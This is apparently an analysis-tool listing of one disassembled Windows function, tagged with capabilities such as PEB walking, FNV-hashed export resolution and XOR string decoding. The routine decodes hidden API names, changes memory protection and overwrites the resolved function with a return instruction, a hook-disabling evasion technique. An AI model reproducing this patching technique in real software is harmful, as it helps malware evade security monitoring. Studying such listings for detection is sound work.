Function at 0x140065240
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x1400f30b8]
xor rax, rsp
mov qword [rbp - 0x18], rax
mov rax, qword gs:[0x60]
mov qword [r11 + 8], rsi
mov qword [r11 + 0x10], rdi
mov qword [r11 + 0x18], r14
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
mov r9, qword [rsi + 0x30]
xor ebx, ebx
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400652f8
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400652f8
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x6e9b6848
lea rax, [r11 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400652f3
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1400652d0
cmp edx, 0x2a916909
je 0x14006555f
test r8d, r8d
jne 0x1400652b0
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006530d
cmp qword [rax + 0x30], rbx
jne 0x140065280
mov r8, rbx
cmp byte [0x1400c8121], bl
movsd xmm0, qword [0x1400c8118]
movzx eax, word [0x1400c8120]
mov r14, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
movsd qword [rbp - 0x40], xmm0
mov word [rbp - 0x38], ax
je 0x14006536a
xor byte [rbp - 0x3f], 0x3a
xor byte [rbp - 0x3e], 0x3b
xor byte [rbp - 0x3d], 0x3c
xor byte [rbp - 0x3c], 0x3d
xor byte [rbp - 0x3b], 0x3e
xor byte [rbp - 0x3a], 0x3f
xor byte [rbp - 0x39], 0x40
xor byte [rbp - 0x38], 0x41
xor byte [rbp - 0x37], 0x42
mov byte [rbp - 0x40], WSASetLastError
lea rcx, [rbp - 0x40]
call r8
mov r9, rax
test rax, rax
je 0x140065543
cmp byte [0x1400c8135], bl
mov ecx, dword [0x1400c8130]
movsd xmm0, qword [str.XO_]
mov dword [rbp - 0x28], ecx
movzx ecx, word [0x1400c8134]
mov word [rbp - 0x24], cx
movsd qword [rbp - 0x30], xmm0
je 0x140065511
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400654d3
movdqa xmm2, xmmword [0x1400e3300]
mov eax, 5
movdqa xmm3, xmmword [0x1400e3310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e3420]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ebx, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x50], xmm6
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e3340]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.XO_]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400e33c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400c8410]
pxor xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x30], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0x50]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e3340]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x2c]
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e33c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400c8410]
pxor xmm2, xmm0
movd dword [rbp - 0x2c], xmm2
movsxd rax, ebx
lea r8, [rbp - 0x30]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, bl
inc ebx
xor byte [r8 - 1], cl
cmp ebx, 0xe
jl 0x1400654e0
lea rdx, [rbp - 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140065543
mov edx, 1
lea r9, [rbp - 0x20]
mov rcx, rax
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140065543
mov byte [rbx], 0xc3
xor eax, eax
mov rcx, qword [rbp - 0x18]
xor rcx, rsp
call fcn.1400c1e70
mov rbx, qword [rsp + 0x88]
add rsp, 0x60
pop rbp
ret
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x140065310